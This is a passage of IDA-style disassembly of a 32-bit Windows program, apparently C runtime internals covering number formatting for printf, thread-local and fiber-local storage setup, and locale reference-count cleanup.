[ebp+1D4h+var_21C], eax jge short loc_41FC67 mov [ebp+1D4h+var_238], 1 jmp short loc_41FC67 ; --------------------------------------------------------------------------- loc_41FC15: ; CODE XREF: sub_41F8BB+276j sub eax, 5Ah jz short loc_41FC72 sub eax, 9 jz short loc_41FBE0 dec eax jnz loc_41FF58 loc_41FC26: ; CODE XREF: sub_41F8BB+4C5j or [ebp+1D4h+var_210], 40h loc_41FC2A: ; CODE XREF: sub_41F8BB+4E9j mov [ebp+1D4h+var_21C], 0Ah loc_41FC31: ; CODE XREF: sub_41F8BB+551j ; sub_41F8BB+56Aj ... mov ebx, [ebp+1D4h+var_210] mov esi, 8000h test ebx, esi jz loc_41FE74 mov ecx, [ebp+1D4h+arg_8] mov eax, [ecx] mov edx, [ecx+4] add ecx, 8 mov [ebp+1D4h+arg_8], ecx jmp loc_41FEA2 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41F8BB+338j mov al, [eax-4] mov [ebp+1D4h+var_20C], al mov [ebp+1D4h+var_21C], 1 loc_41FC67: ; CODE XREF: sub_41F8BB+34Fj ; sub_41F8BB+358j lea eax, [ebp+1D4h+var_20C] mov [ebp+1D4h+var_218], eax jmp loc_41FF58 ; --------------------------------------------------------------------------- loc_41FC72: ; CODE XREF: sub_41F8BB+35Dj add [ebp+1D4h+arg_8], 4 mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] test eax, eax jz short loc_41FCB3 mov ecx, [eax+4] test ecx, ecx jz short loc_41FCB3 test byte ptr [ebp+1D4h+var_210+1], 8 movsx eax, word ptr [eax] mov [ebp+1D4h+var_218], ecx jz short loc_41FCAA cdq sub eax, edx sar eax, 1 mov [ebp+1D4h+var_230], 1 jmp loc_41FF55 ; --------------------------------------------------------------------------- loc_41FCAA: ; CODE XREF: sub_41F8BB+3DCj and [ebp+1D4h+var_230], 0 jmp loc_41FF55 ; --------------------------------------------------------------------------- loc_41FCB3: ; CODE XREF: sub_41F8BB+3C9j ; sub_41F8BB+3D0j mov eax, ds:off_433270 mov [ebp+1D4h+var_218], eax push eax jmp loc_41FD72 ; --------------------------------------------------------------------------- loc_41FCC1: ; CODE XREF: sub_41F8BB+307j jnz short loc_41FCD1 cmp bl, 67h jnz short loc_41FD08 mov [ebp+1D4h+var_214], 1 jmp short loc_41FD08 ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F8BB:loc_41FCC1j mov eax, 200h cmp [ebp+1D4h+var_214], eax jle short loc_41FCDE mov [ebp+1D4h+var_214], eax loc_41FCDE: ; CODE XREF: sub_41F8BB+41Ej mov edi, 0A3h cmp [ebp+1D4h+var_214], edi jle short loc_41FD08 mov eax, [ebp+1D4h+var_214] add eax, 15Dh push eax call sub_41D0C4 test eax, eax pop ecx mov [ebp+1D4h+var_234], eax jz short loc_41FD05 mov [ebp+1D4h+var_218], eax mov esi, eax jmp short loc_41FD08 ; --------------------------------------------------------------------------- loc_41FD05: ; CODE XREF: sub_41F8BB+441j mov [ebp+1D4h+var_214], edi loc_41FD08: ; CODE XREF: sub_41F8BB+314j ; sub_41F8BB+40Bj ... mov eax, [ebp+1D4h+arg_8] mov ecx, [eax] push [ebp+1D4h+var_240] add eax, 8 push [ebp+1D4h+var_214] mov [ebp+1D4h+arg_8], eax mov eax, [eax-4] mov [ebp+1D4h+var_250], eax movsx eax, bl push eax lea eax, [ebp+1D4h+var_254] push esi push eax mov [ebp+1D4h+var_254], ecx call ds:off_433970 mov edi, [ebp+1D4h+var_210] add esp, 14h and edi, 80h jz short loc_41FD53 cmp [ebp+1D4h+var_214], 0 jnz short loc_41FD53 push esi call ds:off_43397C pop ecx loc_41FD53: ; CODE XREF: sub_41F8BB+488j ; sub_41F8BB+48Ej cmp bl, 67h jnz short loc_41FD64 test edi, edi jnz short loc_41FD64 push esi call ds:off_433974 pop ecx loc_41FD64: ; CODE XREF: sub_41F8BB+49Bj ; sub_41F8BB+49Fj cmp byte ptr [esi], 2Dh jnz short loc_41FD71 or byte ptr [ebp+1D4h+var_210+1], 1 inc esi mov [ebp+1D4h+var_218], esi loc_41FD71: ; CODE XREF: sub_41F8BB+4ACj push esi loc_41FD72: ; CODE XREF: sub_41F8BB+401j call sub_41C350 pop ecx jmp loc_41FF55 ; --------------------------------------------------------------------------- loc_41FD7D: ; CODE XREF: sub_41F8BB+264j sub eax, 69h jz loc_41FC26 sub eax, 5 jz loc_41FE44 dec eax jz loc_41FE2A dec eax jz short loc_41FDF7 sub eax, 3 jz loc_41FB63 dec eax dec eax jz loc_41FC2A sub eax, 3 jnz loc_41FF58 mov [ebp+1D4h+var_23C], 27h jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDBC: ; CODE XREF: sub_41F8BB+50Cj dec ecx cmp word ptr [eax], 0 jz short loc_41FDC9 inc eax inc eax loc_41FDC5: ; CODE XREF: sub_41F8BB+2EAj test ecx, ecx jnz short loc_41FDBC loc_41FDC9: ; CODE XREF: sub_41F8BB+506j sub eax, [ebp+1D4h+var_218] sar eax, 1 jmp loc_41FF55 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41F8BB+2CEj test eax, eax jnz short loc_41FDDF mov eax, ds:off_433270 mov [ebp+1D4h+var_218], eax loc_41FDDF: ; CODE XREF: sub_41F8BB+51Aj mov eax, [ebp+1D4h+var_218] jmp short loc_41FDEB ; --------------------------------------------------------------------------- loc_41FDE4: ; CODE XREF: sub_41F8BB+532j dec ecx cmp byte ptr [eax], 0 jz short loc_41FDEF inc eax loc_41FDEB: ; CODE XREF: sub_41F8BB+527j test ecx, ecx jnz short loc_41FDE4 loc_41FDEF: ; CODE XREF: sub_41F8BB+52Dj sub eax, [ebp+1D4h+var_218] jmp loc_41FF55 ; --------------------------------------------------------------------------- loc_41FDF7: ; CODE XREF: sub_41F8BB+4DCj mov [ebp+1D4h+var_214], 8 loc_41FDFE: ; CODE XREF: sub_41F8BB+27Cj mov [ebp+1D4h+var_23C], ecx loc_41FE01: ; CODE XREF: sub_41F8BB+4FFj test byte ptr [ebp+1D4h+var_210], 80h mov [ebp+1D4h+var_21C], 10h jz loc_41FC31 mov al, byte ptr [ebp+1D4h+var_23C] add al, 51h mov [ebp+1D4h+var_224], 30h mov [ebp+1D4h+var_223], al mov [ebp+1D4h+var_228], 2 jmp loc_41FC31 ; --------------------------------------------------------------------------- loc_41FE2A: ; CODE XREF: sub_41F8BB+4D5j test byte ptr [ebp+1D4h+var_210], 80h mov [ebp+1D4h+var_21C], 8 jz loc_41FC31 or byte ptr [ebp+1D4h+var_210+1], 2 jmp loc_41FC31 ; --------------------------------------------------------------------------- loc_41FE44: ; CODE XREF: sub_41F8BB+4CEj add [ebp+1D4h+arg_8], 4 test byte ptr [ebp+1D4h+var_210], 20h mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] jz short loc_41FE63 mov cx, word ptr [ebp+1D4h+var_220] mov [eax], cx jmp short loc_41FE68 ; --------------------------------------------------------------------------- loc_41FE63: ; CODE XREF: sub_41F8BB+59Dj mov ecx, [ebp+1D4h+var_220] mov [eax], ecx loc_41FE68: ; CODE XREF: sub_41F8BB+5A6j mov [ebp+1D4h+var_238], 1 jmp loc_420059 ; --------------------------------------------------------------------------- loc_41FE74: ; CODE XREF: sub_41F8BB+380j add [ebp+1D4h+arg_8], 4 test bl, 20h mov eax, [ebp+1D4h+arg_8] jz short loc_41FE98 test bl, 40h jz short loc_41FE92 movsx eax, word ptr [eax-4] loc_41FE8F: ; CODE XREF: sub_41F8BB+5DBj ; sub_41F8BB+5E3j cdq jmp short loc_41FEA2 ; --------------------------------------------------------------------------- loc_41FE92: ; CODE XREF: sub_41F8BB+5CEj movzx eax, word ptr [eax-4] jmp short loc_41FE8F ; --------------------------------------------------------------------------- loc_41FE98: ; CODE XREF: sub_41F8BB+5C9j test bl, 40h mov eax, [eax-4] jnz short loc_41FE8F xor edx, edx loc_41FEA2: ; CODE XREF: sub_41F8BB+39Aj ; sub_41F8BB+5D5j test bl, 40h jz short loc_41FEBC test edx, edx jg short loc_41FEBC jl short loc_41FEB1 test eax, eax jnb short loc_41FEBC loc_41FEB1: ; CODE XREF: sub_41F8BB+5F0j neg eax adc edx, 0 neg edx or byte ptr [ebp+1D4h+var_210+1], 1 loc_41FEBC: ; CODE XREF: sub_41F8BB+5EAj ; sub_41F8BB+5EEj ... test [ebp+1D4h+var_210], esi mov ebx, eax mov edi, edx jnz short loc_41FEC7 xor edi, edi loc_41FEC7: ; CODE XREF: sub_41F8BB+608j cmp [ebp+1D4h+var_214], 0 jge short loc_41FED6 mov [ebp+1D4h+var_214], 1 jmp short loc_41FEE7 ; --------------------------------------------------------------------------- loc_41FED6: ; CODE XREF: sub_41F8BB+610j and [ebp+1D4h+var_210], 0FFFFFFF7h mov eax, 200h cmp [ebp+1D4h+var_214], eax jle short loc_41FEE7 mov [ebp+1D4h+var_214], eax loc_41FEE7: ; CODE XREF: sub_41F8BB+619j ; sub_41F8BB+627j mov eax, ebx or eax, edi jnz short loc_41FEF1 and [ebp+1D4h+var_228], 0 loc_41FEF1: ; CODE XREF: sub_41F8BB+630j lea esi, [ebp+1D4h+var_D] loc_41FEF7: ; CODE XREF: sub_41F8BB+66Ej mov eax, [ebp+1D4h+var_214] dec [ebp+1D4h+var_214] test eax, eax jg short loc_41FF07 mov eax, ebx or eax, edi jz short loc_41FF2B loc_41FF07: ; CODE XREF: sub_41F8BB+644j mov eax, [ebp+1D4h+var_21C] cdq push edx push eax push edi push ebx call sub_424220 add ecx, 30h cmp ecx, 39h mov [ebp+1D4h+var_248], ebx mov ebx, eax mov edi, edx jle short loc_41FF26 add ecx, [ebp+1D4h+var_23C] loc_41FF26: ; CODE XREF: sub_41F8BB+666j mov [esi], cl dec esi jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FF2B: ; CODE XREF: sub_41F8BB+64Aj lea eax, [ebp+1D4h+var_D] sub eax, esi inc esi test byte ptr [ebp+1D4h+var_210+1], 2 mov [ebp+1D4h+var_21C], eax mov [ebp+1D4h+var_218], esi jz short loc_41FF58 mov ecx, esi cmp byte ptr [ecx], 30h jnz short loc_41FF4B test eax, eax jnz short loc_41FF58 loc_41FF4B: ; CODE XREF: sub_41F8BB+68Aj dec [ebp+1D4h+var_218] mov ecx, [ebp+1D4h+var_218] mov byte ptr [ecx], 30h inc eax loc_41FF55: ; CODE XREF: sub_41F8BB+3EAj ; sub_41F8BB+3F3j ... mov [ebp+1D4h+var_21C], eax loc_41FF58: ; CODE XREF: sub_41F8BB+296j ; sub_41F8BB+365j ... cmp [ebp+1D4h+var_238], 0 jnz loc_420059 mov ebx, [ebp+1D4h+var_210] test bl, 40h jz short loc_41FF90 test bh, 1 jz short loc_41FF75 mov [ebp+1D4h+var_224], 2Dh jmp short loc_41FF89 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41F8BB+6B2j test bl, 1 jz short loc_41FF80 mov [ebp+1D4h+var_224], 2Bh jmp short loc_41FF89 ; --------------------------------------------------------------------------- loc_41FF80: ; CODE XREF: sub_41F8BB+6BDj test bl, 2 jz short loc_41FF90 mov [ebp+1D4h+var_224], 20h loc_41FF89: ; CODE XREF: sub_41F8BB+6B8j ; sub_41F8BB+6C3j mov [ebp+1D4h+var_228], 1 loc_41FF90: ; CODE XREF: sub_41F8BB+6ADj ; sub_41F8BB+6C8j mov esi, [ebp+1D4h+var_22C] sub esi, [ebp+1D4h+var_228] sub esi, [ebp+1D4h+var_21C] test bl, 0Ch jnz short loc_41FFB2 push [ebp+1D4h+arg_0] lea eax, [ebp+1D4h+var_220] push esi push 20h call sub_41F860 add esp, 0Ch loc_41FFB2: ; CODE XREF: sub_41F8BB+6E1j push [ebp+1D4h+var_228] mov edi, [ebp+1D4h+arg_0] lea eax, [ebp+1D4h+var_220] lea ecx, [ebp+1D4h+var_224] call sub_41F884 test bl, 8 pop ecx jz short loc_41FFE0 test bl, 4 jnz short loc_41FFE0 push edi push esi push 30h lea eax, [ebp+1D4h+var_220] call sub_41F860 add esp, 0Ch loc_41FFE0: ; CODE XREF: sub_41F8BB+70Fj ; sub_41F8BB+714j cmp [ebp+1D4h+var_230], 0 jz short loc_420030 cmp [ebp+1D4h+var_21C], 0 jle short loc_420030 mov eax, [ebp+1D4h+var_21C] mov ebx, [ebp+1D4h+var_218] mov [ebp+1D4h+var_248], eax loc_41FFF5: ; CODE XREF: sub_41F8BB+771j dec [ebp+1D4h+var_248] xor eax, eax mov ax, [ebx] push eax lea eax, [ebp+1D4h+var_C] push eax call sub_4241EA inc ebx pop ecx inc ebx test eax, eax pop ecx jle short loc_42003F mov edi, [ebp+1D4h+arg_0] push eax lea eax, [ebp+1D4h+var_220] lea ecx, [ebp+1D4h+var_C] call sub_41F884 cmp [ebp+1D4h+var_248], 0 pop ecx jnz short loc_41FFF5 jmp short loc_42003F ; --------------------------------------------------------------------------- loc_420030: ; CODE XREF: sub_41F8BB+729j ; sub_41F8BB+72Fj push [ebp+1D4h+var_21C] mov ecx, [ebp+1D4h+var_218] lea eax, [ebp+1D4h+var_220] call sub_41F884 pop ecx loc_42003F: ; CODE XREF: sub_41F8BB+755j ; sub_41F8BB+773j test byte ptr [ebp+1D4h+var_210], 4 jz short loc_420059 push [ebp+1D4h+arg_0] lea eax, [ebp+1D4h+var_220] push esi push 20h call sub_41F860 add esp, 0Ch loc_420059: ; CODE XREF: sub_41F8BB+5B4j ; sub_41F8BB+6A1j ... cmp [ebp+1D4h+var_234], 0 jz short loc_42006C ; default push [ebp+1D4h+var_234] call sub_41C2DD and [ebp+1D4h+var_234], 0 pop ecx loc_42006C: ; CODE XREF: sub_41F8BB+7Fj ; sub_41F8BB+A4j ... mov edi, [ebp+1D4h+arg_4] ; default mov bl, [edi] test bl, bl jnz loc_41F8F8 loc_42007C: ; CODE XREF: sub_41F8BB+4Bj pop edi pop esi loc_42007E: ; CODE XREF: sub_41F8BB+31j mov ecx, [ebp+1D4h+var_4] mov eax, [ebp+1D4h+var_220] pop ebx call sub_41E5BB add ebp, 1D4h leave retn sub_41F8BB endp ; --------------------------------------------------------------------------- off_420095 dd offset loc_41FAD7 ; DATA XREF: sub_41F8BB+85r dd offset loc_41F947 ; jump table for switch statement dd offset loc_41F964 dd offset loc_41F9B0 dd offset loc_41F9F1 dd offset loc_41F9FA dd offset loc_41FA38 dd offset loc_41FB19 ; =============== S U B R O U T I N E ======================================= sub_4200B5 proc near ; CODE XREF: sub_41CA85:loc_41CBF6p ; sub_41D378+18p ... call sub_4203B6 add eax, 8 retn sub_4200B5 endp ; =============== S U B R O U T I N E ======================================= sub_4200BE proc near ; CODE XREF: sub_4210E3+8Ap ; sub_421B59+36p ... call sub_4203B6 add eax, 0Ch retn sub_4200BE endp ; =============== S U B R O U T I N E ======================================= sub_4200C7 proc near ; CODE XREF: sub_41D7F8+7Ep ; sub_421060+73p ... arg_0 = dword ptr 4 push esi call sub_4203B6 mov ecx, [esp+4+arg_0] mov [eax+0Ch], ecx xor esi, esi loc_4200D6: ; CODE XREF: sub_4200C7+1Cj cmp ecx, ds:dword_433278[esi*8] jz short loc_4200FD inc esi cmp esi, 2Dh jb short loc_4200D6 cmp ecx, 13h jb short loc_42010E cmp ecx, 24h ja short loc_42010E call sub_4203B6 mov dword ptr [eax+8], 0Dh pop esi retn ; --------------------------------------------------------------------------- loc_4200FD: ; CODE XREF: sub_4200C7+16j call sub_4203B6 mov ecx, ds:dword_43327C[esi*8] mov [eax+8], ecx pop esi retn ; --------------------------------------------------------------------------- loc_42010E: ; CODE XREF: sub_4200C7+21j ; sub_4200C7+26j cmp ecx, 0BCh jb short loc_42012C cmp ecx, 0CAh ja short loc_42012C call sub_4203B6 mov dword ptr [eax+8], 8 pop esi retn ; --------------------------------------------------------------------------- loc_42012C: ; CODE XREF: sub_4200C7+4Dj ; sub_4200C7+55j call sub_4203B6 mov dword ptr [eax+8], 16h pop esi retn sub_4200C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42013A proc near ; CODE XREF: sub_41CA85+37p ; sub_41D514+2Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] lea ecx, [eax+1] cmp ecx, 100h mov ecx, [ebp+arg_0] ja short loc_420158 mov ecx, [ecx+48h] movzx eax, word ptr [ecx+eax*2] jmp short loc_4201AC ; --------------------------------------------------------------------------- loc_420158: ; CODE XREF: sub_42013A+13j push esi mov edx, eax sar edx, 8 push edi mov edi, [ecx+48h] movzx esi, dl test byte ptr [edi+esi*2+1], 80h pop edi pop esi jz short loc_42017D push 2 mov [ebp+var_3], al mov [ebp+var_4], dl mov [ebp+var_2], 0 pop eax jmp short loc_420187 ; --------------------------------------------------------------------------- loc_42017D: ; CODE XREF: sub_42013A+32j mov [ebp+var_4], al xor eax, eax mov [ebp+var_3], 0 inc eax loc_420187: ; CODE XREF: sub_42013A+41j push 1 push dword ptr [ecx+14h] push dword ptr [ecx+4] lea ecx, [ebp+arg_4+2] push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4242B5 add esp, 1Ch test eax, eax jnz short loc_4201A8 leave retn ; --------------------------------------------------------------------------- loc_4201A8: ; CODE XREF: sub_42013A+6Aj movzx eax, word ptr [ebp+arg_4+2] loc_4201AC: ; CODE XREF: sub_42013A+1Cj and eax, [ebp+arg_8] leave retn sub_42013A endp ; =============== S U B R O U T I N E ======================================= sub_4201B1 proc near ; CODE XREF: sub_420281+B6p ; sub_420427+10Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+3Ch] push edi xor edi, edi cmp eax, ds:dword_435854 jz short loc_420227 cmp eax, edi jz short loc_420227 mov eax, [esi+2Ch] cmp [eax], edi jnz short loc_420227 mov eax, [esi+34h] cmp eax, edi jz short loc_4201F2 cmp [eax], edi jnz short loc_4201F2 cmp eax, ds:dword_438444 jz short loc_4201F2 push eax call sub_41C2DD push dword ptr [esi+3Ch] call sub_42465E pop ecx pop ecx loc_4201F2: ; CODE XREF: sub_4201B1+23j ; sub_4201B1+27j ... mov eax, [esi+30h] cmp eax, edi jz short loc_420215 cmp [eax], edi jnz short loc_420215 cmp eax, ds:dword_438448 jz short loc_420215 push eax call sub_41C2DD push dword ptr [esi+3Ch] call sub_4245FF pop ecx pop ecx loc_420215: ; CODE XREF: sub_4201B1+46j ; sub_4201B1+4Aj ... push dword ptr [esi+2Ch] call sub_41C2DD push dword ptr [esi+3Ch] call sub_41C2DD pop ecx pop ecx loc_420227: ; CODE XREF: sub_4201B1+11j ; sub_4201B1+15j ... mov eax, [esi+40h] cmp eax, ds:dword_438440 jz short loc_420250 cmp eax, edi jz short loc_420250 cmp [eax], edi jnz short loc_420250 push eax call sub_41C2DD mov eax, [esi+44h] sub eax, 0FEh push eax call sub_41C2DD pop ecx pop ecx loc_420250: ; CODE XREF: sub_4201B1+7Fj ; sub_4201B1+83j ... mov eax, [esi+50h] cmp eax, ds:dword_435850 jz short loc_420277 cmp eax, edi jz short loc_420277 cmp [eax+0B4h], edi jnz short loc_420277 push eax call sub_42446F push dword ptr [esi+50h] call sub_41C2DD pop ecx pop ecx loc_420277: ; CODE XREF: sub_4201B1+A8j ; sub_4201B1+ACj ... push esi call sub_41C2DD pop ecx pop edi pop esi retn sub_4201B1 endp ; =============== S U B R O U T I N E ======================================= sub_420281 proc near ; CODE XREF: sub_420342+18p push esi call sub_4203B6 mov esi, eax mov ecx, [esi+64h] cmp ecx, ds:off_433444 jz loc_42033D xor edx, edx cmp ecx, edx jz short loc_4202CD mov eax, [ecx+2Ch] dec dword ptr [ecx] cmp eax, edx jz short loc_4202A9 dec dword ptr [eax] loc_4202A9: ; CODE XREF: sub_420281+24j mov eax, [ecx+34h] cmp eax, edx jz short loc_4202B2 dec dword ptr [eax] loc_4202B2: ; CODE XREF: sub_420281+2Dj mov eax, [ecx+30h] cmp eax, edx jz short loc_4202BB dec dword ptr [eax] loc_4202BB: ; CODE XREF: sub_420281+36j mov eax, [ecx+40h] cmp eax, edx jz short loc_4202C4 dec dword ptr [eax] loc_4202C4: ; CODE XREF: sub_420281+3Fj mov eax, [ecx+4Ch] dec dword ptr [eax+0B4h] loc_4202CD: ; CODE XREF: sub_420281+1Bj mov eax, ds:off_433444 mov [esi+64h], eax mov eax, ds:off_433444 inc dword ptr [eax] mov eax, ds:off_433444 cmp [eax+2Ch], edx jz short loc_4202F0 mov eax, [eax+2Ch] inc dword ptr [eax] mov eax, ds:off_433444 loc_4202F0: ; CODE XREF: sub_420281+63j cmp [eax+34h], edx jz short loc_4202FF mov eax, [eax+34h] inc dword ptr [eax] mov eax, ds:off_433444 loc_4202FF: ; CODE XREF: sub_420281+72j cmp [eax+30h], edx jz short loc_42030E mov eax, [eax+30h] inc dword ptr [eax] mov eax, ds:off_433444 loc_42030E: ; CODE XREF: sub_420281+81j cmp [eax+40h], edx jz short loc_42031D mov eax, [eax+40h] inc dword ptr [eax] mov eax, ds:off_433444 loc_42031D: ; CODE XREF: sub_420281+90j mov eax, [eax+4Ch] inc dword ptr [eax+0B4h] cmp ecx, edx jz short loc_42033D cmp [ecx], edx jnz short loc_42033D cmp ecx, offset dword_4333F0 jz short loc_42033D push ecx call sub_4201B1 pop ecx loc_42033D: ; CODE XREF: sub_420281+11j ; sub_420281+A7j ... mov eax, [esi+64h] pop esi retn sub_420281 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420342 proc near ; CODE XREF: sub_41CA85+17p ; sub_41D514+12p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_429DF0 call __SEH_prolog push 0Ch call sub_41E983 pop ecx and [ebp+ms_exc.disabled], 0 call sub_420281 mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_420374 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_420342 endp ; =============== S U B R O U T I N E ======================================= sub_420374 proc near ; CODE XREF: sub_420342+24p ; DATA XREF: .text:stru_429DF0o push 0Ch call sub_41E8CE pop ecx retn sub_420374 endp ; =============== S U B R O U T I N E ======================================= sub_42037D proc near ; CODE XREF: sub_42059D+94p ; DATA XREF: sub_42059D+80o ... call ds:dword_42917C ; TlsAlloc retn 4 sub_42037D endp ; =============== S U B R O U T I N E ======================================= sub_420386 proc near ; CODE XREF: sub_42059D+9p ; sub_42059D:loc_420682p mov eax, ds:dword_43357C cmp eax, 0FFFFFFFFh jz short loc_42039E push eax call ds:dword_4356B8 ; TlsFree or ds:dword_43357C, 0FFFFFFFFh loc_42039E: ; CODE XREF: sub_420386+8j jmp sub_41E879 sub_420386 endp ; =============== S U B R O U T I N E ======================================= sub_4203A3 proc near ; CODE XREF: sub_41D7F8+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword ptr [eax+54h], offset dword_433810 mov dword ptr [eax+14h], 1 retn sub_4203A3 endp ; =============== S U B R O U T I N E ======================================= sub_4203B6 proc near ; CODE XREF: sub_41CA85+7p ; sub_41CE46+14p ... push ebx push esi call ds:dword_4290D8 ; RtlGetLastWin32Error push ds:dword_43357C mov ebx, eax call ds:dword_4356B0 ; TlsGetValue mov esi, eax test esi, esi jnz short loc_42041B push 8Ch push 1 call sub_421909 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_420413 push esi push ds:dword_43357C call ds:dword_4356B4 ; TlsSetValue test eax, eax jz short loc_420413 mov dword ptr [esi+54h], offset dword_433810 mov dword ptr [esi+14h], 1 call ds:dword_4291A4 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_42041B ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_4203B6+2Ej ; sub_4203B6+3Fj push 10h call sub_41DC6D pop ecx loc_42041B: ; CODE XREF: sub_4203B6+1Aj ; sub_4203B6+5Bj push ebx call ds:dword_429078 ; RtlRestoreLastWin32Error mov eax, esi pop esi pop ebx retn sub_4203B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420427 proc near ; CODE XREF: sub_42056E+1Bp ; DATA XREF: sub_42059D:loc_42062Co var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset stru_429E00 call __SEH_prolog mov esi, [ebp+arg_0] xor edi, edi cmp esi, edi jz loc_42054C mov eax, [esi+24h] cmp eax, edi jz short loc_42044E push eax call sub_41C2DD pop ecx loc_42044E: ; CODE XREF: sub_420427+1Ej mov eax, [esi+2Ch] cmp eax, edi jz short loc_42045C push eax call sub_41C2DD pop ecx loc_42045C: ; CODE XREF: sub_420427+2Cj mov eax, [esi+34h] cmp eax, edi jz short loc_42046A push eax call sub_41C2DD pop ecx loc_42046A: ; CODE XREF: sub_420427+3Aj mov eax, [esi+3Ch] cmp eax, edi jz short loc_420478 push eax call sub_41C2DD pop ecx loc_420478: ; CODE XREF: sub_420427+48j mov eax, [esi+44h] cmp eax, edi jz short loc_420486 push eax call sub_41C2DD pop ecx loc_420486: ; CODE XREF: sub_420427+56j mov eax, [esi+48h] cmp eax, edi jz short loc_420494 push eax call sub_41C2DD pop ecx loc_420494: ; CODE XREF: sub_420427+64j mov eax, [esi+54h] cmp eax, offset dword_433810 jz short loc_4204A5 push eax call sub_41C2DD pop ecx loc_4204A5: ; CODE XREF: sub_420427+75j push 0Dh call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [esi+60h] mov [ebp+var_1C], eax cmp eax, edi jz short loc_4204CD dec dword ptr [eax] jnz short loc_4204CD cmp eax, ds:dword_438204 jz short loc_4204CD push eax call sub_41C2DD pop ecx loc_4204CD: ; CODE XREF: sub_420427+91j ; sub_420427+95j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_420559 push 0Ch call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], 1 mov eax, [esi+64h] mov [ebp+var_20], eax cmp eax, edi jz short loc_42053C dec dword ptr [eax] cmp [eax+2Ch], edi jz short loc_4204FB mov ecx, [eax+2Ch] dec dword ptr [ecx] loc_4204FB: ; CODE XREF: sub_420427+CDj cmp [eax+34h], edi jz short loc_420505 mov ecx, [eax+34h] dec dword ptr [ecx] loc_420505: ; CODE XREF: sub_420427+D7j cmp [eax+30h], edi jz short loc_42050F mov ecx, [eax+30h] dec dword ptr [ecx] loc_42050F: ; CODE XREF: sub_420427+E1j cmp [eax+40h], edi jz short loc_420519 mov ecx, [eax+40h] dec dword ptr [ecx] loc_420519: ; CODE XREF: sub_420427+EBj mov ecx, [eax+4Ch] dec dword ptr [ecx+0B4h] cmp eax, ds:off_433444 jz short loc_42053C cmp eax, offset dword_4333F0 jz short loc_42053C cmp [eax], edi jnz short loc_42053C push eax call sub_4201B1 pop ecx loc_42053C: ; CODE XREF: sub_420427+C6j ; sub_420427+101j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_420565 push esi call sub_41C2DD pop ecx loc_42054C: ; CODE XREF: sub_420427+13j call __SEH_epilog retn 4 sub_420427 endp ; =============== S U B R O U T I N E ======================================= sub_420554 proc near ; DATA XREF: .text:stru_429E00o xor edi, edi mov esi, [ebp+8] sub_420554 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420559 proc near ; CODE XREF: sub_420427+AAp push 0Dh call sub_41E8CE pop ecx retn sub_420559 endp ; =============== S U B R O U T I N E ======================================= sub_420562 proc near ; DATA XREF: .text:00429E14o mov esi, [ebp+8] sub_420562 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420565 proc near ; CODE XREF: sub_420427+119p push 0Ch call sub_41E8CE pop ecx retn sub_420565 endp ; =============== S U B R O U T I N E ======================================= sub_42056E proc near ; CODE XREF: sub_41D732+20p arg_0 = dword ptr 4 mov ecx, ds:dword_43357C cmp ecx, 0FFFFFFFFh jz short locret_42059C mov eax, [esp+arg_0] test eax, eax jnz short loc_420588 push ecx call ds:dword_4356B0 ; TlsGetValue loc_420588: ; CODE XREF: sub_42056E+11j push eax call sub_420427 push 0 push ds:dword_43357C call ds:dword_4356B4 ; TlsSetValue locret_42059C: ; CODE XREF: sub_42056E+9j retn sub_42056E endp ; =============== S U B R O U T I N E ======================================= sub_42059D proc near ; CODE XREF: start:loc_41DD91p call sub_41E830 test eax, eax jnz short loc_4205AE call sub_420386 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4205AE: ; CODE XREF: sub_42059D+7j push esi push edi push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_4290BC ; GetModuleHandleA mov edi, eax test edi, edi jz short loc_42062C mov esi, ds:dword_4290E0 push offset aFlsalloc ; "FlsAlloc" push edi call esi ; GetProcAddress push offset aFlsgetvalue ; "FlsGetValue" push edi mov ds:off_4356AC, eax call esi ; GetProcAddress push offset aFlssetvalue ; "FlsSetValue" push edi mov ds:dword_4356B0, eax call esi ; GetProcAddress push offset aFlsfree ; "FlsFree" push edi mov ds:dword_4356B4, eax call esi ; GetProcAddress cmp ds:dword_4356B0, 0 mov ds:dword_4356B8, eax jnz short loc_42062C mov eax, ds:dword_42906C mov ds:dword_4356B0, eax mov eax, ds:dword_429070 mov ds:dword_4356B4, eax mov eax, ds:dword_429074 mov ds:off_4356AC, offset sub_42037D mov ds:dword_4356B8, eax loc_42062C: ; CODE XREF: sub_42059D+22j ; sub_42059D+65j push offset sub_420427 call ds:off_4356AC cmp eax, 0FFFFFFFFh mov ds:dword_43357C, eax jz short loc_420682 xor edi, edi push 8Ch 